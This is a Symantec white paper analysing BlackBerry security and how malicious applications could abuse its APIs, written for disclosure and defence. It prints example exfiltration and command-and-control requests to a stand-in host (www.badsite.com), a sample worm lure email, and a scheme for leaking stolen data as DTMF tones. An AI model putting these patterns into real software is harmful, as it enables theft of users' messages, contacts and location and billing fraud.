WHITE PAPER: SYMANTEC SECURITY RESPONSE

Blackberry Security: Ripe for the picking?

James O'Connor
Symantec Security Response, Dublin

Blackberry security: Ripe for the picking?

Introduction

The Blackberry platform is developed by Research In Motion, a Canadian company based in Waterloo, Ontario. Its main selling point is that it provides an integrated wireless messaging system, providing corporate email access over cellular wireless networks throughout the world. Blackberry devices can be used for telephony, SMS, email, and even web browsing.

While the Blackberry has a modest security framework, it is still susceptible to multiple attacks including being used as a backdoor, thus allowing confidential data to be exported, and being used as a proxy for attackers. Some of these attacks require applications to be digitally signed, while others can be conducted without such a signature.

This document will present an analysis of the Blackberry device architecture and related application attack scenarios. It will also distinguish what can be done with signed versus unsigned code.

This research is based on the Blackberry 7290SF with version 4.0 of the Blackberry Software, but should be applicable to most modern Blackberry Models. This document does not discuss backend Blackberry Enterprise Server (BES) software or vulnerabilities in the Blackberry device due to software, hardware, or firmware bugs.

It's important to note that Blackberry devices are often significantly customized by network providers and vendors before they are sold to users, and this customization can introduce additional attack vectors not necessarily discussed in this document.

Operating system

While the Blackberry utilizes a proprietary operating system, its third-party application framework is based entirely on Java. The Blackberry implements J2ME (MIDP2), as well as a number of native RIM APIs. A third party application must be written in Java and can make use of RIM's custom classes. By default, applications have very limited access to device capabilities such as telephony services.

Applications must instead be signed by RIM in order to perform actions such as enumerate the Personal Information Manager, or read emails. Blackberry applications are written in Java and then compiled into proprietary .cod files. These .cod files are "pre-verified" as valid on the PC side before transmission to the Blackberry for execution.

Code-signing

In order for an application to get full access to the API, the application must be signed by RIM. To receive a signature, developers must first fill out an online form and pay a $100 fee to receive a developer key. According to RIM, this key is tied to the computer it is installed on, and can not be moved to another system. RIM provides a signing tool that sends the SHA1 hash of the application to RIM,

which generates a signature. This signature is then appended to the application.

When the signed .cod file is loaded onto the Blackberry, the Java Virtual Machine (VM) links the file with the appropriate API libraries and verifies that the application has the required signatures.

If a signature is missing, the VM will not link the application. Each call to a controlled API is also checked at run-time. If the required signature is not present, an error message is presented and the code is not executed.

While code-signing provides a potential hurdle for malicious code writers, signatures can still be obtained with relative ease and anonymity. Code-signing keys can be obtained completely anonymously via the use of prepaid credit-cards, which can be bought at a convenience store for cash. This completely undermines the ability to determine the creator of a signed application, and perhaps track them down in the case of malicious code being signed. Nevertheless, signatures can be revoked and used as a definitive method of identifying potentially malicious code.

File System

The Blackberry doesn't have a file system in the traditional sense. Instead, applications have access to "Persistent Storage", which can be used to save state data and user data between runs, but can't generally access or modify data belonging to the operating system. Two kinds of Persistent Storage are available:

1. (MIDP) Record Stores

    - Platform independent
    - Can be used by unsigned applications
    - Basic storage: a string of bytes.
    - Data only accessible by application that created it

2. Blackberry Persistence Model

    - Proprietary
    - Application needs to be signed
    - Can store any object that implements the Persistable interface (plus some native types)
    - Data can be shared between applications (subject to signing)

Since Blackberry applications can not modify the byte code of another installed application, traditional file infector viruses are not possible for the Blackberry.

Memory and processes

Memory is automatically allocated when objects and primitives are declared, but since there are no pointers in Java, applications can not access or manipulate areas of memory directly (besides the store areas described previously).

The signed class net.rim.device.api.system.ApplicationManager can be used to start processes and retrieve information on running processes. The information that can be retrieved includes:

- A list of all running applications
- The application that is currently in the foreground
- Whether an application runs on startup or is a system application
- Process ID of running applications

However, applications can not end other processes or affect the memory of other processes.

At most, an application could cause a denial of service by creating an infinite loop, with a break condition in the middle that will always be false to bypass compiler verification. When this code is run, the Blackberry becomes completely unresponsive, and only by replacing the application files via USB, or a hard reset of the BB will the device be made usable again.

Auto startup and background processes

Signed applications can start themselves automatically whenever the system is started via compile time settings. The developer simply designates the application as a “System Module” that should “Auto-run on startup.” This also has the effect of not displaying the application in the standard ribbon.

Once an application is started, the application can also set itself to continually run in the background via a documented run-time API. This API can be used by both signed and unsigned applications.

SMS (short message service)

Sending and receiving SMS messages is very simple on the Blackberry, and doesn't require the code to be signed. The user will receive a prompt the first time the program attempts to send a message, asking if they wish to allow network access. There are no further warnings on subsequent runs of the application. Furthermore, the same warning is used for an application making a HTTP connection or trying to send an SMS. So a user could be easily fooled into sending very expensive premium SMS messages by an application that purports to connect to the Internet for legitimate purposes.

Premium rate scam

Regular PC users are often targeted by premium rate "dialers", in other words, programs which con-

nect the user's modem to a premium rate telephone number, running up huge bills in the process. A similar technique could be employed on the Blackberry, instead using premium rate SMS numbers. The application would work as follows:

- User downloads and runs an application (e.g. a game with "post my high-score online" option).
- If the code is unsigned, the user receives a prompt "Allow Network Access?"
- User agrees (thinking they are posting their high-scores on to a Web site)
- The application proceeds to send a premium rate SMS message in the background unbeknownst to the user until they receive their phone bill

Note that if the application is signed, the user will not be prompted. A signed application could simply appear to do nothing when executed, but actually just place itself in the background and begin sending premium rate SMS messages.

SMS interception

Unsigned applications can both send and receive SMS messages. A malicious application could be used to allow third parties to send and receive messages from an infected Blackberry.

The application would work as follows:

- User downloads and runs an application (e.g. a game with "post my high-score online" option).
- If the code is unsigned, the user receives the prompt "Allow Network Access?"
- User agrees (thinking they are posting their high-scores on to a Web site).
- User quits the game, but the application simply sets itself to run silently in the background.
- Application sends a notification SMS to attacker
- Any incoming SMS messages are forwarded to the attacker
- The attacker can also send SMS messages via the infected device

Furthermore, many services are available that can be billed via SMS messages. For example, Wi-Fi access can often be obtained by sending an SMS to a number and waiting for a response that contains an access code. SMS interception allows an attacker to send an SMS via the infected device and receive the access code giving them free Wi-Fi access, while the victim is billed instead. Other SMS billable services include voting polls, parking, and even vending machines.

Note that if the application is signed, the user will not even be prompted.

SMS backdoor

A signed application could use SMS as a command and control channel for a backdoor threat.

Signed applications can send and receive emails; send and receive SMS messages; add, delete, and modify contacts and PIM data; read dialed phone numbers; initiate phone calls; and open TCP/IP connections.

Incoming SMS messages could be monitored for keywords or for originating from a particular phone number. These messages could then be interpreted as commands to perform a variety of actions and be silently discarded so the user does not even know an SMS message was received.

Bluetooth

The Blackberry only has limited Bluetooth support for security reasons. It provides three profiles: Hands-free, Handset and Serial Port. This means there is no OBEX (OBject EXchange) for file transfer, LAN, or Dial-Up Networking profiles. While data can be transmitted to and from the Blackberry via the serial port Bluetooth profile, pairing is still required. To bypass pairing, a vulnerability in the Bluetooth stack would be required. (No bugs have been publicly released to date).

Unsigned applications can use Bluetooth via the javax.microedition.io.Connector class, but need to be signed in order to use the net.rim.device.api.bluetooth.BluetoothSerialPortInfo class. According to the API documentation, this class is required to gather the information necessary to establish a client-side Bluetooth connection. Attempts to "brute force" this information, and hence use Bluetooth with unsigned code, have so far failed.

Bluetooth backdoor

Emails, contacts, SMS, PIM data, and dialed numbers can all be obtained using the methods discussed in this document. Once this information has been obtained, the application can open a Bluetooth serial connection with a paired device that is within range, and transmit the gathered data. Note that the user would have to intentionally pair with the attacker's Bluetooth device before this could work. In addition, the malicious application must be signed.

Bluetooth worms

Bluetooth worms are unlikely due to the lack of OBEX support. Even if third-party applications were designed to send and receive files via the serial port Bluetooth profile, they would have difficulty saving and executing the file due to lack of traditional file system support.

The only conceivable risk would be if a third party application was designed to send and receive URLs via Bluetooth, and subsequently open the browser with each URL it received (perhaps some kind of bookmark application). A worm could be designed to send a URL that links to a JAD (Java Application Descriptor) file. When the browser is opened with the JAD file, the user will be prompted to install the worm code.

Email

Email can be sent, received, and read via the net.rim.Blackberry.api.mail class, but only by signed applications. Any kind of attachment can be sent via email, but only supported attachments can be opened on the Blackberry (user may need to install Blackberry attachment service). The supported file types include: .doc, .pdf, .txt, .wpd, .xls, and .ppt.

Email interception

Signed applications can send email, and read incoming email. A malicious application could be used to allow third parties to send messages from the infected Blackberry and also read all received messages.

Email backdoor

A malicious application could use email as a command and control channel to receive instructions to send and receive emails; send and receive SMS messages; add, delete, and modify contacts and PIM data; read dialed phone numbers; initiate phone calls; and open TCP/IP connections.

In addition, email could be used to export data from the device or even proxy email messages.

Email worm

A malicious signed application can send a message containing a link to a JAD file (Java Application Descriptor). When the user opens this link, they will be prompted to install the worm code from a remote Web site. The scenario would be as follows:

- Attacker hosts malicious COD application file on a Web server:
  `www.badsite.com/game.cod`
  Along with matching JAD file:
  `www.badsite.com/game.jad`
- Attacker starts worm by sending an email to a Blackberry user of the form:
  From: `<mary@company.com>`
  To: `"Bob Brickhaus" <bb@company.com>`
  Subject: `Cool Game`
  `Hey, check out this cool new game!`
  `www.badsite.com/game.jad`
- The user opens the .jad file, they are prompted to download and install the .cod file
- The .cod file installs itself as a startup process with no icon
- The user thinks the download didn't work, and thinks nothing more of it
- The next time the Blackberry starts, the malicious code is executed
- It enumerates the contact list, and forwards the email to everyone on the list
- Those users open the email and the cycle continues.

PIM data (personal information manager data)

The PIM Database stores Contacts, Events, and To-Do lists.
The table below outlines some of the information these lists contain:

Contacts	Events	To-Do's
Name	Alarm	Confidential
Title	Busy	Private
Organization	Free	Public
Address	Out Of Office	Completed
Telephone Number	Start	Completion Date
E-Mail Address	End	Due
Notes	Location	Note
Blackberry PIN	Attendees	Priority
User Defined Fields	Confidential	Revision
	Private	Summary
	Public	
	Note	
	Revision	
	Summary	

All the data outlined above can be read, modified, and deleted by a signed application via the packages javax.microedition.pim and net.rim.Blackberry.api.pdap.

Infostealer

A malicious signed application could read all the PIM data (including that mentioned in the table above) and send it to an attacker using email, TCP sockets, SMS, or telephony, as outlined in more detail in other sections of this document.

Loss of data integrity

A malicious signed application could compromise the integrity of the data stored in the PIM database. For example it could:

- Change the number associated with a contact name
- Change the name associated with a phone number
- Delete a contact, event, or to-do task

- Change the timing of a scheduled event (for example a meeting of conference call)
- Change the email address associated with a contact
- Read in all the contact names and numbers, and randomly swap them

TCP/IP connections

Unsigned and signed applications can open TCP connections on the Blackberry. If the application is not signed, the user is prompted with the generic "Allow Network Access" alert message when the program is first run. Blackberry devices can make connections to both the broader Internet and within the corporate LAN via Mobile Data Service (MDS). MDS acts as a proxy to transfer data between authenticated Blackberry devices sitting outside the corporate LAN and services inside the LAN such as Web servers and databases. When writing the code to open a socket, the parameter deviceside=false tells the Blackberry to establish the connection via the Mobile Data Service, instead of a direct connection. TCP server sockets can also be created, however the Blackberry is unlikely to have a publicly routable IP address, which would be necessary for a third party to establish a connection to it. Note that signed code can open TCP connections without the user being prompted.

TCP proxy/firewall bypass

A malicious application could connect to the hacker and then connect to services inside of the corporate LAN via MDS. Note that MDS by design bypasses the corporate firewall allowing data to be transmitted from the general Internet to services within the LAN. This allows the hacker to utilize the Blackberry as a TCP proxy, relaying data between himself and services normally not visible to those on the broader Internet. If the application is unsigned the user will be prompted to allow network access using the standard dialog. However if the application is disguised as an application that requires network access, then the user may not notice anything unusual.

If the application is signed, then it requires no user interaction, and can run silently.

TCP backdoor

A malicious application could establish a connection to the attacker, and then accept commands that would allow the attacker to send and receive emails or SMS messages; add, delete, and modify contacts and PIM data; read dialed numbers; and even initiate calls.

TCP scan

Since an application can open sockets, an application can perform a TCP scan on a network host or a range of network hosts. Depending on the network configuration, this could include scanning the internal network (via MDS).

The application would attempt to establish a connection with each port on a host to determine whether that port is open. Blackberrys do not support sending raw TCP packets. So while scanning is

possible, the scan rate will not be on par with similar tools for desktop computers.

HTTP / WAP

The Blackberry supports HTTP and WAP connections via the J2ME API javax.microedition.io. Unsigned and signed applications can open a new HTTP connection, and send and receive data using OutputStream and InputStream objects.

HTTP infostealer

A user installs some apparently useful application or video game. The application steals the user's information and the information is passed to the attacker via a HTTP GET request. E.g.:

```
http://www.badsite.com/upload?&PIN=9012345678&SMS=1&FROM=0865550456&MSG=This
+is+top+secret+data
```

HTTP backdoor

HTTP can also be used as a command and control channel. A malicious application can make an outbound HTTP connection to retrieve commands from a remote Web site and send back data. E.g.:

Application sends
`http://www.badsite.com/whatnow?`

Web site returns:
```
COMMAND=DELETE_ALL EMAIL
COMMAND=FORWARD_ALL SMS TO 0865550456
```

Application sends
`http://www.badsite.com/whatnow?Status=Email+Deleted&Status=SMS+Forwarding+ON`

HTTP proxy

A malicious application could use the Blackberry device to transmit HTTP traffic or contact web servers with predefined content. Typically, an HTTP Proxy may be used to send SPAM via another HTTP to SMTP proxy; to browse illegal or dubious Web sites; or be utilized for denial of service attacks.

Such attacks will be traced back to the individual or corporation that owns the Blackberry rather than the actual attacker.

Telephony

The telephony API net.rim.Blackberry.api.phone cannot be utilized by unsigned applications. Signed applications can monitor existing and past calls and send DTMF tones on existing calls. Applications can register to be notified of the following events:

```
callAdded
callAnswered
callConferenceCallEstablished
callConnected
callDirectConnectConnected
callDirectConnectDisconnected
callDisconnected
callEndedByUser
callFailed
callHeld
callIncoming
callInitiated
callRemoved
callResumed
callWaiting
conferenceCallDisconnected
```

More importantly, signed applications can invoke the phone application that comes with the Blackberry to initiate phone calls.

Call monitoring

Call monitoring is the most plausible attack scenario. An application can collect all information about calls such as those made, received, and their durations and send them to a third party via email, TCP, or SMS. Such Spyware-type applications are already popular on both traditional desktop computers as well as other smart phone devices. Typically, these applications are commercial in nature and are installed when the attacker has access to the device.

Premium rate calls

A malicious application could dial a premium rate number, running up large telephone bills.

Bypassing Caller Verification Systems

Many services such as voicemail authenticate the calling user by the incoming phone number. A malicious program can take advantage of such systems by placing calls from the target device.

Once authenticated, the application would have full control over the service preferences. For example for voicemail, the application could disable caller verification and instead enable PIN verification and then set the PIN number.

The attacker could then intercept all subsequent voicemail messages that the user receives. A similar method could be used for other types of services.

Telephony infostealer

Data can be exported from the Blackberry as DTMF tones during a phone call. A simple scheme would work as follows:

1. The relevant data is acquired (e.g., emails, contacts, SMS, PIM data, dialed numbers) as outlined in previous sections.
2. The data is serialized in some form, perhaps after being compressed and encrypted, into a single byte array. This byte array is then converted into a bit stream.
3. Three bits of data can be encoded in each of the DTMF tones 0-7 (8, 9,*, # being redundant in this case). The bit stream from above is padded to be a multiple of three in length; it is then encoded as a series of DTMF tones.
4. The application then initiates a call to a certain number, which will record the call. Voicemail would be ideal for this.
5. Once the call is in place, the application proceeds to play the DTMF tones that correspond to the encoded data.
6. The recipient for the information then retrieves the voicemail, and extracts the DTMF tones.
7. The tones are decoded back into a bit stream, (any remaining bits after dividing by eight are removed from the end).
8. This bit stream is then converted back into a byte array, and the data is recovered.

Location tracking

Since the introduction of E911 legislation in the US (a requirement that location information be provided to emergency services for all wired and wireless phones), all new cell phones sold in the US have the ability to be located, to varying degrees of accuracy. In most cases this functionality is unavailable to the user, and is only utilized by the emergency services. However a growing number of devices now include functionality that can be used to provide location-based services to the user, including some models of Blackberry.

Radiolocation

- Angle Of Arrival (AOA)
- Time Difference Of Arrival (TDOA)
- Location Signature (utilizes patterns, which phone signals exhibit in certain locations)

Radiolocation relies on the relationship between the phone and its nearby cell towers. These systems are generally less accurate, but tend to require less hardware support in the phone, and can be used without line-of-sight to a tracking satellite.

GPS or A-GPS (assisted GPS)

The phone uses a GPS (Global Positioning System) chip to gather accurate location information from tracking satellites. Additional processing assistance from the network can be used to increase the speed of the service or reduce the workload on the phone.

Blackberry support

The Blackberry supports gathering location information via the J2ME API javax.microedition.location (on certain models). The information that can be gathered includes:

- Location
- Speed
- Direction
- Timestamp

Note that this API can be used by unsigned applications. At the time of writing, the Blackberry models that support location tracking via GPS include: 7100i, 7130e, 7250, 7520, and 8703e.

Silent tracker attack scenario

A malicious application could run in the background, and periodically report the user's current position and heading to a third party (via a HTTP connection, or any other communication method described in this document). This information could be combined with mapping technology to provide the attacker with a complete picture of the user's movements at any instant, or over a certain period of time.

Summary

The Blackberry has been designed from the ground up to be a secure platform, often sacrificing functionality for security. This strict adherence to security has made the platform very popular with governments worldwide. Using the available API, without code-signing, limited opportunities exist to exploit the platform, mostly involving a certain amount of social engineering. However, the burden of buying a code-signing key for $100 would discourage only the most casual attacker. Any entrepreneurial, curious or malicious party could buy a signing key (using a prepaid credit card), and develop a range of deceptive or malicious software that could not only compromise the Blackberry handheld device and its data, but the integrity of the corporate network to which it is attached. As the device continues to become more popular, the incentives for such maligned individuals to target the Blackberry will only increase.

Appendix A

The table below illustrates which features of the Blackberry API require code signing, which can be used unsigned with user prompting, and which can be used freely unsigned.

Feature	Signed	Unsigned Prompt	Unsigned
MIDP Record Store			X
Blackberry Persistence Model	X		
Auto Startup Process	X		
Background Process			X
SMS		X	
Bluetooth	X		
Email	X		
PIM Data	X		
TCP/IP		X	
HTTP/WAP		X	
Telephony	X		
Location Tracking		X	

About Symantec
Symantec is the global leader in information security, providing a broad range of software, appliances, and services designed to help individuals, small and mid-sized businesses, and large enterprises secure and manage their IT infrastructure. Symantec's Norton™ brand of products is the worldwide leader in consumer security and problem-solving solutions. Headquartered in Cupertino, California, Symantec has operations in 35 countries. More information is available at www.symantec.com.

Symantec has worldwide operations in 35 countries. For specific country offices and contact numbers, please visit our Web site. For product information in the U.S., call toll-free 1 800 745 6054.

Symantec Corporation
World Headquarters
20330 Stevens Creek Boulevard
Cupertino, CA 95014 USA
408 517 8000
800 721 3934
www.symantec.com

04/05 10406630